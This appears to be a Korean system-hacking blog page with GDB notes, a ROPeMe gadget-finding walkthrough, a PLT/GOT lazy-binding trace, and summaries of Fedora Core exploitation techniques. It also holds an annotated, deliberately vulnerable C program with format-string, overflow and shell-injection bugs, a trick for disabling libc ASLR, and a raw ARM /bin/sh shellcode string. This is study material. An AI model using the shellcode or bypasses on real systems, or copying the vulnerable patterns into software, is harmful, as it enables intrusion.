            maintenance print msymbols
            maintenance print symbols
            maintenance print type

maintenance info  

디버깅 중인 프로그램에 관한 내부 정보를 보여주기 위한 명령어

set watchdog

watchdog 타이머를 셋팅한다. non-zero일 때, 이 타임아웃은 타겟에 대해 low-level step을 끝내거나 동작을 계속하게 하기 위해 영원히 기다리는 것 대신 사용되어진다.
만약 지정된 시간 동안 타겟으로부터 응답이 없으면, 에러가 발생한다.

set targetdebug

디버깅할 타겟을 셋팅한다. non-zero일 때, 디버깅할 타겟은 활성화된다.

 


 

 

Posted by k1rha
2013. 4. 19. 15:55

ropeme 사용하여 ROP 가젯 쉽게 구하기.



ropeme-bhus10.tbz2


파일을 리눅스에 올리고 압축을 풀어주고 들어가면 distorm 이 있는데 그것가지 압축을 풀어준다.


root@ubuntu:/home/root/ropeme-bhus10# ls

README  distorm-1.7.30  distorm-1.7.30.tar.gz  exploit.py  ropeme  vuln  vuln.c

root@ubuntu:/home/root/ropeme-bhus10#tar -xvf distorm-1.7.30.tar.gz


root@ubuntu:/home/root/ropeme-bhus10# cd distorm-1.7.30/


root@ubuntu:/home/root/ropeme-bhus10/distorm-1.7.30# ls

COPYING   PKG-INFO  cygwin-x86  linux-x86_64  macosx-x86  setup.py       windows-x86

MANIFEST  build     linux-x86   macosx-ppc    setup.cfg   windows-amd64

각 환경에 맞게 설치가 되도록 되어 있다.


root@ubuntu:/home/root/ropeme-bhus10/distorm-1.7.30# ./setup.py build

root@ubuntu:/home/root/ropeme-bhus10/distorm-1.7.30# ./setup.py install

설치를 해준뒤 ropeme 폴더로 이동한다.


root@ubuntu:/home/root/ropeme-bhus10/ropeme# ./ropshell.py 

Simple ROP interactive shell: [generate, load, search] gadgets

ROPeMe> 


그리고 취약한 파일을 어셈으로 덤프를 뜨는 명령어를 쓴다.

root@ubuntu:/home/root/ropeme-bhus10# ls

README  distorm-1.7.30  distorm-1.7.30.tar.gz  exploit.py  ropeme  vuln  vuln.c

root@ubuntu:/home/root/ropeme-bhus10# ./ropeme/ropshell.py 

Simple ROP interactive shell: [generate, load, search] gadgets

ROPeMe> generate vuln

Generating gadgets for vuln with backward depth=3

It may take few minutes depends on the depth and file size...

Processing code block 1/1

Generated 60 gadgets

Dumping asm gadgets to file: vuln.ggt ...

OK

ROPeMe> 



ROPeMe> search pop ?     //? 는 검색문자열의 주소이고 

Searching for ROP gadget:  pop ? with constraints: []

0x80484b4L: pop ebp ;;

0x8048573L: pop ebp ;;

0x80485d8L: pop ebp ;;


ROPeMe> search pop %   //% 는 검색 문자열의 포함 주소이다.

Searching for ROP gadget:  pop % with constraints: []

0x8048384L: pop eax ; pop ebx ; leave ;;

0x80485d8L: pop ebp ; ret ; mov ebx [esp] ;;

0x80484b4L: pop ebp ;;

0x8048573L: pop ebp ;;

0x80485d8L: pop ebp ;;

0x8048385L: pop ebx ; leave ;;

0x8048625L: pop ebx ; leave ;;

0x80484b3L: pop ebx ; pop ebp ;;

0x8048608L: pop ebx ; pop ebp ;;

0x8048624L: pop ecx ; pop ebx ; leave ;;

0x80485d7L: pop edi ; pop ebp ;;

0x80485d6L: pop esi ; pop edi ; pop ebp ;;


ROPeMe> 



Posted by k1rha
2013. 4. 5. 23:51

Keyword  : PLT & GOT 심층 분석.  왜사용되나? 그리고 어떠한 상관 관계에 있는가?


우선 아래 몇가지 용어는 확실하게 정의하고 넘어가자.


   .GOT(Global offset Table)

함수 호출 시 가변적이면서도 빠르게 검색을 하기 위해 생성되는 TABLE 이다.

첫 호출시엔 코드 영역의 벡터 주소가 들어있고,

두번째 부터는 그 함수의 실제 주소가 들어가게 된다.

 .PLT(Procedure Linked Table)

 컴파일 타임에 생성되는 테이블로 어떠한 GOT영역의 주소를 참조 할지 정해져 있다.

 _dl_runtime_resolve

 _dl_runtime_resolve 함수는 전달된 인자 값을 사용하여 호출된 함수의 실제 주소를 구한 후 GOT에 저장한 뒤 호출된 함수로 점프한다. (GOT을 두번째 참조 할때부턴 호출되지 않는다.)

 _init  컴파일시 생성되는 함수로 미리 선언 되어 있는 코드 영역이다.


정확하지 않을 수 있지만, 커널은 어떠한 함수가 호출 될때, 자주 호출될 법한, 빈도수 높은 함수들을 GOT 에 집어 넣고,

빠르게 사용하기 위해 위와 같은 구조로 설계 되어 있는 듯하다. 

내가 이제부터 작성할 문서는 사실 GOT 영역을 컴파일시에 결정해 놓으면 PLT 과정이 생략되도 되지 않을까? 하는 생각에서 시작된 분석이다. 결론적으론 GOT 영역에 모든 함수의 실제 주소값을 다 넣어두게 된다면, GOT 자체의 크기도 너무 커져 버리고, 무의미하게 되는 것이다.  


보통 검색을 하다보면 PLT 와 GOT 에 대해서만 설명이 많이 되어 있는데, 내가 생각하기에 결론적으로 중요한 핵심은

_dl_runtime_resolve 가 맡고 있었다. 이놈이 GOT에 함수주소들을 찾아 저장시켜줌으로써 아래와 같은 과정이 이뤄지는 것이다.



 @Fedora_1stFloor TEST]$ readelf -S test


  [ 9] .rel.plt          REL                 08048288 000288 000018 08   A  4  11  4

  [10] .init             PROGBITS        080482a0 0002a0 000017 00  AX  0   0  4

  [11] .plt              PROGBITS        080482b8 0002b8 000040 04  AX  0   0  4

  [12] .text             PROGBITS        080482f8 0002f8 0001d0 00  AX  0   0  4

  [13] .fini             PROGBITS        080484c8 0004c8 00001a 00  AX  0   0  4

  [14] .rodata           PROGBITS        080484e4 0004e4 000011 00   A  0   0  4

  [15] .eh_frame         PROGBITS        080484f8 0004f8 000004 00   A  0   0  4

  [16] .ctors            PROGBITS        080494fc 0004fc 000008 00  WA  0   0  4

  [17] .dtors            PROGBITS        08049504 000504 000008 00  WA  0   0  4

  [18] .jcr              PROGBITS        0804950c 00050c 000004 00  WA  0   0  4

  [19] .dynamic          DYNAMIC         08049510 000510 0000c8 08  WA  5   0  4

  [20] .got              PROGBITS        080495d8 0005d8 000004 04  WA  0   0  4

  [21] .got.plt          PROGBITS        080495dc 0005dc 000018 04  WA  0   0  4

  [22] .data             PROGBITS        080495f4 0005f4 00000c 00  WA  0   0  4

  [23] .bss              NOBITS          08049600 000600 000004 00  WA  0   0  4


[12번] 텍스트 영역에는 컴파일시 생성된 어셈 코드들이 담겨 있다. 그리고 좀더 높은 영역으로 가다보면 main 함수를 거쳐 got.plt 영역까지 보이게 된다.

(gdb) x/50xi 0x080482f8

0x80482f8 <_start>: xor    %ebp,%ebp

0x80482fa <_start+2>: pop    %esi

0x80482fb <_start+3>: mov    %esp,%ecx



           

아래는 printf 를 두번 호출해 코드의 디버깅 모습이다. 빨간색으로 표히산 부분들이 printf를 호출하는 부분인데 이를 트레이싱해보겠다.


 (gdb) disass main

Dump of assembler code for function main:

0x080483b8 <main+0>: push   %ebp

0x080483b9 <main+1>: mov    %esp,%ebp

0x080483bb <main+3>: sub    $0x8,%esp

0x080483be <main+6>: and    $0xfffffff0,%esp

0x080483c1 <main+9>: mov    $0x0,%eax

0x080483c6 <main+14>: add    $0xf,%eax

0x080483c9 <main+17>: add    $0xf,%eax

0x080483cc <main+20>: shr    $0x4,%eax

0x080483cf <main+23>: shl    $0x4,%eax

0x080483d2 <main+26>: sub    %eax,%esp

0x080483d4 <main+28>: sub    $0xc,%esp

0x080483d7 <main+31>: push   $0x80484ee

0x080483dc <main+36>: call   0x80482e8 <_init+72>

0x080483e1 <main+41>: add    $0x10,%esp

0x080483e4 <main+44>: sub    $0xc,%esp

0x080483e7 <main+47>: push   $0x80484f0

0x080483ec <main+52>: call   0x80482e8 <_init+72>

.

.

(중략)

처음 call   0x80482e8 <_init+72> 호출되는 부분이 PLT 이다.

이를 따라가보면 아래와 같다.

(gdb) x/10xi 0x80482e8

0x80482e8 <_init+72>: jmp    *0x80495f0

0x80482ee <_init+78>: push   $0x10

0x80482f3 <_init+83>: jmp    0x80482b8 <_init+24>


처음 호출된 주소를 따라가면 jmp    *0x80495f0 를 만나게 된다. 이를 살펴보면 GOT 영역이란 것을 알 수 있다. 여기까지는 PLT -> GOT을 참조하는 영역으로써 컴파일 시에 이미 결정 되어 있는 것이다.

그값을 보면 GOT영역이라는 것을 확연히 볼 수 있다.


(gdb) x/12x 0x80495f0-20   //테이블을 전체를 보여주기 위해 20만큼 빼 보기좋게 표현했다.

0x80495dc <_GLOBAL_OFFSET_TABLE_>: 0x08049510 0x007194f8 0x0070e9e0 0x080482ce

0x80495ec <_GLOBAL_OFFSET_TABLE_+16>:0x00730d50 0x080482ee 0x00000000 0x00000000


이러한 테이블이 참조하는 영역은 아래와 같다.

(gdb) x/10xi *0x80495f0 

0x80482ee <_init+78>: push   $0x10

0x80482f3 <_init+83>: jmp    0x80482b8 <_init+24>


위에서 보면 이러한 글로벌 테이블은 처음 호출시에는 위와같이 한번더 점프하게 되는데, 그영역을 봐보면 아래와같이 어떠한 인자값을 넣고, dl_runtime_resolve 영역으로 점프하게 된다.

(gdb) x/3i 0x80482b8

0x80482b8 <_init+24>: pushl  0x80495e0

0x80482be <_init+30>: jmp    *0x80495e4


_dl_runtime_resolve 에서는 printf의 코드 영역의 주소를 찾아 GOT 테이블에 삽입하고 호출 후, 다시 복귀하는 루틴으로 구성 되어 있다.

(gdb) x/3i *0x80495e4

0x70e9e0 <_dl_runtime_resolve>: push   %eax

0x70e9e1 <_dl_runtime_resolve+1>: push   %ecx

0x70e9e2 <_dl_runtime_resolve+2>: push   %edx




자 이제 두번째  call   0x80482e8 <_init+72> 호출되는 부분이 PLT 이다. 간단하게 break point 를 걸어놓고 한번 printf 가 호출한 뒤 디버깅을 똑같이 진행해 보겠다.


(gdb) b *main+41

(gdb) c  //함수를 한번 호출시킨뒤 계속 진행


(gdb) x/3xi 0x80482e8

0x80482e8 <_init+72>: jmp    *0x80495f0

0x80482ee <_init+78>: push   $0x10

0x80482f3 <_init+83>: jmp    0x80482b8 <_init+24>


(gdb) x/12x 0x80495f0-20  //테이블을 보기 좋게 20을 빼준뒤 출력시켜 줌

0x80495dc <_GLOBAL_OFFSET_TABLE_>: 0x08049510 0x007194f8 0x0070e9e0 0x080482ce

0x80495ec <_GLOBAL_OFFSET_TABLE_+16>:0x00730d50 0x0075e660 0x00000000 0x00000000


(gdb) x/3xi *0x80495f0

0x75e660 <printf>: push   %ebp

0x75e661 <printf+1>: mov    %esp,%ebp

0x75e663 <printf+3>: lea    0xc(%ebp),%eax


위 과정을 보면 첫번째 호출 했을때의 과정이 사라지고 printf 함수가 바로 호출 되었음을 볼 수 있다.

즉 첫번째 과정에서 _dl_runtime_resolve 함수가 GOT 테이블에 printf 주소를 입력 시켜 놓은 것이다.




Posted by k1rha
2013. 3. 5. 23:06



구홍이 형이 쓰신 페도라 오버플로우 공략법 글


http://x82.inetcop.org/h0me/papers/FC_exploit/


이제 Fedora 공략이라하면 x82님의 문서가 거의 바이블이 되었네욤 

fedora쪽은 관심이 쉽게 안 가서 대충만 읽어봤었는데 PADOCON을 계기로 필 받아 

정독 후 정리를 해보았습니다 (대회가 이래서 좋아요ㅋ)


Fedora Core 5, 6 based remote random-library breaker 

http://x82.inetcop.org/h0me/papers/FC_exploit/FC_oneshot_exploit.txt

- buffer overflow 대상입니다

- 라이브러리 함수들의 주소는 바뀔지언정 offset은 동일하다는

특징을 이용하여, 참조가 쉬운(PLT가 있는)다른 함수들의 주소를 

기반으로 execl 함수의 주소를 한 바이트씩 조합해 냅니다.

- 특정 함수의 GOT를 덮어씌은 후 그 함수의 PLT를 호출합니다.

- 결국 Random Library를 무력화 시킵니다.

- NULL을 사용하지 않으므로 아스키아머를 무력화 시킵니다.

- 덮어 씌우기 절차는 다음과 같습니다     

execve의 주소 : 00 dc 08 00

첫번째 복사 :   00 

두번째 복사 :      dc 0c 00

세번째 복사 :         08 00

- execve 함수의 인자 구성 방법

  - 첫째 인자 : binary image 상에서 /bin/sh등의 문자열을 구한다

  - 둘째, 셋째 인자 : NULL

  - 예제에선 /usr/local/bin/ftpdctl 문자열의 주소를 사용합니다 

    (이를 통해 명령 실행이 가능하다고 합니다)

- 의문사항

   - GOT에 함수의 offset 값이 들어간다고 하는데 FC1에서 테스트

     해보니 GOT에 함수의 절대주소가 들어가 있네요 흠.. 

     FCx 이후로 바뀐건가.. 조만간 테스트 예정입니다



Fedora Core 3 based local random-stack brute-force breaker 

http://x82.inetcop.org/h0me/papers/FC_exploit/random-stack%20brute-force%20breaker.txt

- BOF와 FS 모두에 유효

- Random Library가 아닐 때에 유효합니다. (FC3 이하)

- 기존 방법과 비교했을 때 binary image가 아닌 stack에서 인자를 찾는 점만 다릅니다

- ASCII armor 우회로는 fake ebp 사용

- target과 버퍼 환경을 동일하게 구성한 후 자식 프로그램으로

실행할 경우 적은 빈도수로 같은 주소가 형성됨을 이용합니다.

(페도라3까지 유효(?), 페도라4에서 패치(?), 하지만 이후 패치 사라짐(?))

- 추가> 페도라1에선 안 되네요 읏흠

- 추가> 페도라3에서도 안 되네요 ㅠ.ㅠ



Fedora Core 3 based GOT, PLT overwrite exploit method 

http://x82.inetcop.org/h0me/papers/FC_exploit/another_overwrite.txt

- BOF, FS에 유효

- 일반적인 GOT overwriting에 대해 설명합니다

- Random Library가 아닐 때 유효 (FC3 이하)

- GOT 영역 덮어쓰기에 대한 내용입니다.

- printf의 GOT를 system으로 덮은 후 printf의 PLT 호출


Fedora Core 3 based shellcode local & remote format string exploit method (Part #1) 

http://x82.inetcop.org/h0me/papers/FC_exploit/shellcode_overwrite.txt

- FS에서만 유효합니다

- MAPS 상에선 HEAP 영역에 실행 권한이 없지만 실제로는 있기

때문에 쉘코드를 올리고 실행할 수 있음을 증명하는 내용입니다. (페도라 3이하)

- 정확히는 Binary Image이 사용하는 .data 영역입니다

(이 다음 문서에서도 .data라고 설명하고 있습니다)

08048000-08049000 r-xp 00000000 fd:00 311375     /tmp/vuln

08049000-0804a000 rw-p 00000000 fd:00 311375     /tmp/vuln <- 여기

- 그럼 SRC가 되는 쉘코드의 주소는 어떻게 찾나?

-> 쉘코드의 주소를 찾는게 아니라 FS를 이용하여 직접 쉘코드를 입력합니다


Fedora Core 4,5,6 based shellcode local format string exploit method (Part #2) 

http://x82.inetcop.org/h0me/papers/FC_exploit/library_terror/

- FS에서만 유효합니다

- 이전 문서와 비슷하지만 HEAP이 아닌 Library 영역에 쉘코드를 올리고 실행하는 내용입니다.

- Library 주소 영역 내의 NULL 바이트 방어 우회가 핵심입니다.

- printing space 쪼개기 + $-flag + 환경 변수(or argv) 이용

- 환경 변수가 A=B\0C=D\0 형태로 이루어져있다는 점을 이용합니다

- 환경 변수(스택)의 주소는 $flag를 이용하여 상대참조합니다


Fedora Core 3,4,5,6 based remote format string exploit method 

http://x82.inetcop.org/h0me/papers/FC_exploit/FC-remote_do_system.txt

- FS에만 유효

- execve대신 system을 써보자에서 시작 

- do_system 함수를 이용하 execve보다 인자 구성이 쉬워집니다

- system 대신 do_system 함수를 사용하는 이유는 %ebp+8 위치의 

값을 %eax 레지스터에 넣는 과정을 무시하기 위해서입니다)

- 그리고 %eax는 DTORS+4 위치의 값이 됩니다


Fedora Core 3,4 based local format string exploit method (Part #1) 

http://x82.inetcop.org/h0me/papers/FC_exploit/FC_local_do_system.txt

- FS에만 유효

- 이번엔 do_system 함수를 로컬에서 활용합니다.

- setuid(0) -> do_system("sh"); 순서로 실행합니다.

- 어떻게 ASCII Armor를 우회하여 함수를 여러번 실행하나?

-> DTORS 체인의 특성을 이용하여 여러 번 함수를 호출합니다.

- setuid가 호출될 때 ebp+8이 0인 환경에서만 가능하단 단점이 있습니다.


Fedora Core 3,4,5,6 based local format string exploit method (Part #2) 

http://x82.inetcop.org/h0me/papers/FC_exploit/FC_local_do_system2.txt

- FS에만 유효

- setuid가 호출될 때 ebp+8이 0이여만한다는 문제점 해결

- dtors에 __do_global_dtors_aux()를 호출하여 ebp 위치 이동

- 다른 함수를 호출해도 ebp 이동 가능할 것 같지만 함수 에필로그에

ebp를 복구하므로 안 됨, 하지만 __do_global_dtors_aux()의 경우

에필로그 전에 dtors를 다시 호출하므로 가능

- 운 좋으면 한 번의 ebp 이동으로 0을 만날 수 있음 (target에 따라 다름)

- 문제는 그렇지 않은 경우, heap을 망가뜨리고 비정상 종료될 수 있음

- 따라서 dtors 테이블의 시작 주소를 강제로 변경하여 공격 수행

- 헐 x82님 짱 -_-b


Fedora Core 3,4,5,6 based local format string exploit method (Part #3) 

http://x82.inetcop.org/h0me/papers/FC_exploit/exec_format_string.txt

- FS에만 유효

- 위 문서대로 공격하면 uid 0만을 얻을 수 있다는 단점 보완

- exec* 함수 이용

- execve 보다 인자가 적은 execv 이용 

- 하지만 그냥 exev를 호출하면 인자들이 invalid

- __do_global_dtors_aux()를 이용하여 올바른 인자가 나올때까지 스택 변경

- __do_global_dtors_aux()+27(call 직후) 주소 실행

- 그럼 __do_global_dtors_aux+27의 주소가 execv의 첫 번째 인자가 됨

- 해당 기계어 코드와 동일한 심볼릭 링크 파일 생성


Fedora Core 3 based remote buffer overflow method 

http://x82.inetcop.org/h0me/papers/FC_exploit/FC3_remote_bof.txt

- BOF에만 해당

- 현재 esp에 원하는 데이터가 들어있지 않을 때, ret(pop eip)를

여러번 호출하여 원하는 데이터까지 이동시키는 방법을 설명합니다.

- 심볼릭 링크나 메모리에서 찾은 /bin/sh 문자열을 이용하는 것이

아닌, 직접 스택에 sh 문자열을 넣어 system 함수의 인자로 전달하는

것이 특징입니다. (리모트 환경에서 유리)

- 게다가 system 함수에 아스키아머가 있어 어차피 그 뒤로 인자를

이어 넣는 것이 불가능합니다.

- main의 sfp에 넣은 값이 특정 환경 하에선 system의 인자로 참조된다는

구조상의 특징을 이용합니다.

- main의 sfp -> leave하면서 ebp가 된다 -> call system 직후

push ebp가 된다 -> mov esp, ebp가 된다 -> 운 좋게도 ebp+8의

값이 ebp-8의 위치를 가리키게 된다

- FC3까지 유효

- 의문 : 문서의 system 함수에는 아스키아머가 없네요 오잉


Fedora Core 4,5,6 based local stack overflow exploit method (Part #1) 

http://x82.inetcop.org/h0me/papers/FC_exploit/FC4_local_overflow.txt

- ret 코드 반복 실행을 통한 esp sleding 

- 스택에 valid한 인자들이 나타날 때까지 sleding 

- execve나 ret 코드의 주소는 반복 출현 기반의 brute force로 찾음

- ret 코드는 binary image 주소 영역에서 찾음 (고정적)


Fedora Core 4,5,6 based local environment stack overflow exploit method (Part #2) 

http://x82.inetcop.org/h0me/papers/FC_exploit/FC_local_environ_bof.txt

- 위와 동일하지만 valid한 인자를 환경 변수로 직접 등록합니다

- 등록된 문자열의 주소는 어떻게 찾는가?

-> 환경변수 포인터를 이용합니다, 

오홋! **argv 뒤쪽에 보이던 것들이 바로 환경변수 포인터였군요!

0xbffa6e20  61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   a...............

0xbffa6e30  00 00 00 00 98 89 a6 00 00 00 00 00 98 89 a6 00   ................

0xbffa6e40  d4 6e fa bf e0 6e fa bf a8 6e fa bf 50 87 94 00   .n...n...n..P...

0xbffa6e50  02 00 00 00 d4 6e fa bf e0 6e fa bf 00 00 00 00   .....n...n......

0xbffa6e60  98 89 a6 00 20 00 93 00 b4 86 04 08 a8 6e fa bf   .... ........n..

0xbffa6e70  50 6e fa bf 12 87 94 00 00 00 00 00 00 00 00 00   Pn..............

0xbffa6e80  00 00 00 00 04 05 93 00 02 00 00 00 34 83 04 08   ............4...

0xbffa6e90  00 00 00 00 10 74 92 00 40 7b 92 00 04 05 93 00   .....t..@{......

0xbffa6ea0  02 00 00 00 34 83 04 08 00 00 00 00 55 83 04 08   ....4.......U...

0xbffa6eb0  e2 85 04 08 02 00 00 00 d4 6e fa bf 6c 86 04 08   .........n..l...

0xbffa6ec0  b4 86 04 08 40 7b 92 00 cc 6e fa bf b2 dd 92 00   ....@{...n......

0xbffa6ed0  02 00 00 00 e8 ec fb bf ec ec fb bf 00 00 00 00   ................

0xbffa6ee0  ee ec fb bf ff ec fb bf 0f ed fb bf 1a ed fb bf   ................

0xbffa6ef0  28 ed fb bf 32 ed fb bf f5 ee fb bf 0f ef fb bf   (...2...........

0xbffa6f00  61 ef fb bf 76 ef fb bf 85 ef fb bf 96 ef fb bf   a...v...........

0xbffa6f10  9e ef fb bf ae ef fb bf bb ef fb bf dd ef fb bf   ................

0xbffa6f20  f2 ef fb bf 00 00 00 00 10 00 00 00 ff fb eb 0f   ................

0xbffa6f30  06 00 00 00 00 10 00 00 11 00 00 00 64 00 00 00   ............d...

0xbffa6f40  03 00 00 00 34 80 04 08 04 00 00 00 20 00 00 00   ....4....... ...

0xbffa6f50  05 00 00 00 07 00 00 00 07 00 00 00 00 00 00 00   ................


Fedora Core 4 based -pie compile binary local stack overflow exploit 

http://x82.inetcop.org/h0me/papers/FC_exploit/0x82-breakeat-pie.txt

- pie 옵션으로 컴파일된 target에 대한 공격 테스트입니다.

- pie 옵션으로 컴파일되면 binary image마져 ASLR이 걸립니다.

- 하지만 아무런 인자 설정 없이 execve를 실행했을 때 random하게

특정 문자열을 참조하기 때문에 brute force로 해결이 가능합니다.


CentOS 4.2 based local stack overflow exploit (also, Whitebox Linux 4) 

- 앞서 연구한 것들이 CentOS에서도 먹히는지 확인 -> 먹힘


Fedora Core 5,6 based main() function stack overflow exploit method 

http://x82.inetcop.org/h0me/papers/FC_exploit/FC5_main_function.txt

- fedora5부터 새로 생긴 ecx canary 공략 방법에 대해 설명합니다.

- canary의 최하위 1바이트만 00로 만든다 -> 그럼 지역변수 위치를

가리키게 된다. -> ret sled를 이용하여 esp를 더할 수 있는만큼 더한다.

- main 함수의 에필로그를 한번 더 실행시킨다. (esp 대폭 이동->환경변수)

- 환경 변수 영역엔 execve의 주소와 valid한 인자들이 위치한다.



beist의 fedora overflow 요약

- execl+n으로 뛴다. 그럼 ebp+8이 아닌, ebp에서 인자참조하게된다.

- payload는 [string] [execl+n]으로 구성한다.






http://work.hackerschool.org/DOWNLOAD/TheLordOfTheBOF/VM_Fedora10.rar


위 Fedora 10 vm image엔 세 개의 BOF 문제가 준비되어 있습니다.


로그인 계정은 titan/out of the night 입니다.


관심 있으신 분들은 한번 풀어보세욥!






'System_Hacking' 카테고리의 다른 글

[R.O.P.] ropeme 사용하여 ROP 가젯 쉽게 구하기.  (0) 2013.04.19
PLT & GOT 심층 분석.  (0) 2013.04.05
ARM 쉘코드 getgid 추가  (0) 2012.12.01
ASLR 끄는법?!  (0) 2012.10.30
[코드 오딧팅] From 해킹캠프  (0) 2012.09.02
Posted by k1rha
2012. 12. 1. 23:26

\x02\x20\x42\xe0\x1c\x30\x8f\xe2\x04\x30\x8d\xe5\x08\x20\x8d\xe5\x13\x02\xa0\xe1\x07\x20\xc3\xe5\x04\x30\x8f\xe2\x04\x10\x8d\xe2\x01\x20\xc3\xe5\x0b\x0b\x90\xef/bin/sh

'System_Hacking' 카테고리의 다른 글

PLT & GOT 심층 분석.  (0) 2013.04.05
구홍이 형이 쓰신 페도라 오버플로우 공략법 글  (0) 2013.03.05
ASLR 끄는법?!  (0) 2012.10.30
[코드 오딧팅] From 해킹캠프  (0) 2012.09.02
GDB 명령어 모음집  (0) 2012.08.26
Posted by k1rha
2012. 10. 30. 23:46

A good thing is that we have a neat trick to disable libc ASLR:

$ ulimit -s unlimited

$ ldd ./X79

        linux-gate.so.1 =>  (0x40020000)

        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x4003a000)

        /lib/ld-linux.so.2 (0x40000000)

$ ldd ./X79

        linux-gate.so.1 =>  (0x40020000)

        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x4003a000)

        /lib/ld-linux.so.2 (0x40000000)



http://leetmore.ctf.su/wp/ifsf-ctf-2012-9-x97/

Posted by k1rha
2012. 9. 2. 01:23

해킹 캠프중 멍멍이형이 코드 오딧팅을 참가자들에게 내줬는데, 정말 많이 배운 코드이다. 


#include <syslog.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFLEN 16
#define WORDSIZE 2
#define DWORDSIZE WORDSIZE+WORDSIZE

void mylog(intkind, char *msg){
        // 3번 취약점, 포맷스트링
        syslog(LOG_USER | kind, msg);
}

void mycpy(char *dst, char *src){
        if(strlen(src) < BUFLEN -1)
                while(*src)
                        *dst++ = *src++;
        *dst= '\x00';
}

int main(int argc, char *argv[]){
        char buf1[16];
        char buf2[16];
        char buf3[BUFLEN];
        char *buf4;
        char *buf5;
        char buf6[16];
        char *buf7;
        int i, len;

        if(argc != 12)
                exit(0);
        
        // 1번 취약점
        // argv[1]의 길이가 17바이트 이상일 경우 NULL이 복사되지 않음
        // 즉, buf1이 NULL 없는 문자열이 되어버림        
        // 이로 인해 차후 이상작동 혹은 취약점이 발생 할 수 있음
        strncpy(buf1, argv[1], sizeof(buf1));
        len= atoi(argv[2]);
        
        if (len< 16)
                // 2번 취약점
                // integer overflow 발생
                // 예를 들어 argv[3]의 값을 -4로 줄 경우 -4=4294967296가 되어버림
                memcpy(buf2, argv[3], len);
        else {
                char *buf= malloc(len+ 20);
                if(buf){
                        // 취약점 없음
                        snprintf(buf, len+20, "String too long: %s", argv[3]);

                        // 3번 취약점, 포맷스트링 
                        mylog(LOG_ERR, buf);
                }
        }

        // 취약점 없음
        mycpy(buf3, argv[4]);
                
        // 4번 취약점
        // 위 mycpy에 의해 buf3이 가득 찰 경우 버퍼오버플로우 발생
        strncat(buf3, argv[5], sizeof(buf3)-1);

        if(fork()){
                // 취약점 없음
                execl("/bin/ls", "/bin/ls", argv[6], 0);
        }

        // filter metacharacters
        char *p;
        if(p = strchr(argv[7], '&'))
                *p = 0;
        if(p = strchr(argv[7], '`'))
                *p = 0;
        if(p = strchr(argv[7], ';'))
                *p = 0;
        if(p = strchr(argv[7], '|'))
                *p = 0;
        if(strlen(argv[7]) < 1024){
                buf4 = malloc(20 + strlen(argv[7]));
                // 취약점 없음
                sprintf(buf4, "/bin/cat %s", argv[7]);

                // 5번 취약점
                // $ 특수 문자를 이용하여 시스템 명령 실행 가능
                // > 특수 문자를 이용하여 root 권한 파일 복사 가능
                system(buf4);
        }

        // 6번 취약점
        // integer overflow + Null Pointer Dereference
        // argv[8]과 argv[9]의 길이가 각각 0x7fffffff(-1)일 경우 결과는 malloc(0)이 됨
        // 리턴 값은 0 = Null Pointer Dereference
        buf5 = malloc(strlen(argv[8]) + strlen(argv[9]) + 2);
        strcpy(buf5, argv[8]);
        strcat(buf5, argv[9]);

        // 7번 취약점, 버퍼 오버플로우
        memcpy(buf6, argv[10], strlen(argv[10]));

        // 8번 취약점, 매크로 우선순위 오류
        // #define WORDSIZE 2
        // #define DWORDSIZE WORDSIZE+WORDSIZE
        // buf7 = malloc(4 * DWORDSIZE);
        // 4*2+2=10
        buf7 = malloc(4 * DWORDSIZE);
        for(i=0; i<4; i++){
                // 총 복사 길이 : 4+4+4+4=16
                memcpy(buf7 + 4 * i, argv[11] + 4 * i, DWORDSIZE);
        }
        printf("\nGot%s, (%d) %s, %s, %s, %s, %s, %s\n", buf1, len, buf2,buf3, buf4, buf5, buf6, buf7);
}
 




1. syslog log 부분 넘어올때 format string 버그 발생.


2. /bin/cat %s 부분에 $() 으로 명령어를 변수화시켜서 실행시키는 법과 환경변수로 /bin/sh을하여 필터를 우회한후 명령어를 실행 시키는 법


3.buf3  mycpy 후 strncat 에서 buf1과 buf2를 넘치게 할수 있음


4.buf6 memcpy 로 오버플로우 발생


5. ulimit 으로 힙메모리 영역 할당메모리를 못하도록 막아놓으면 *p 변수는 스택 영역으로 잡힌다. 그리고 스택오버플로우..


6. `` /bin/ls 에  ``로 명령어 같이 삽입..


7.atoi 함수에 음수를 넣어서 메모리 할당을 하면 0xffffffff 만큼 메모리를 할당.. 때문에 memcpy에서도 메모리 오버플로우 발생




Thank`s for ashine & singi

Posted by k1rha
2012. 8. 26. 02:06

GDB 사용법


*참조도서: "유닉스 리눅스 프로그래밍 필수 유틸리티"

GDB 사용 방법

<<실행>>
GDB를 이용하기 위해서는 컴파일 과정에서 디버깅 정보를 삽입해야 한다.

    컴파일 시 옵션 'g' 이용
    $ gcc -g -o main main.c

컴파일이 정상 종료 되면 GDB를 실행한다.

    gdb [프로그램명]
    $ gdb main
    gdb [프로그램명] [프로세스PID]
    $ gdb main 1928

GDB가 정상 실행되면 터미널의 프롬프트가 (gdb)로 바뀌게 된다.

<<종료>>
종료방법에는 크게 두가지가 있다.

    ctrl + d
    (gdb) q
    (gdb) quit

<<소스보기>>
옵션에 따라 실행중인 프로그램의 소스를 다양한 방법으로 볼 수 있다.

    l(list)
    list 10
    list [함수명]
    list -  //이전 10라인을 출력한다.
    list [파일명]:[함수명]
    list [파일명]:10

list 명령어를 사용하면 소스코드가 10줄 단위로 출력된다.
다음의 명령을 통해 출력단위를 변경할 수 있다.

    set listsize 20

<<세그멘테이션 폴트가 발생했을대>>
컴파일한 프로그램을 실행했을때 segmentation fault 가 발생하여
비정상 종료되었다면 다음의 명령어를 통해 오류 지점을 확인할 수 있다.

    (gdb) r(run)

run 명령어는 GDB가 프로그램을 실행시켜 이상이 발생했을때의 파일과 지점을 출력해준다.
또한 관련 함수 또는 변수에 담긴 값을 출력하여 오류수정에 많은 도움을 준다.

오류 지점에 도달하기 전 과정을 확인하기 위해서는 다음 명령어를 이용하면 된다.

    (gdb) bt

bt명령어는 백트레이스로 프로그램 스택을 역으로 탐색한다.

<<브레이크포인트>>
브레이크포인트는 다음의 방법들을 통해 설정 가능하다.

    (GDB) b(break) [함수명]
    (GDB) break 10
    (GDB) break [파일명]:[함수명]
    (GDB) break [파일명]:10
    (GDB) break +2  //현재 행에서 2개 행 이후 브레이크포인트 설정
    (GDB) break -2  //현재 행에서 2개 행 이전 브레이크포인트 설정
    (GDB) break *0x8049000  //메모리주소에 설정(어셈블리로 디버깅시 이용)
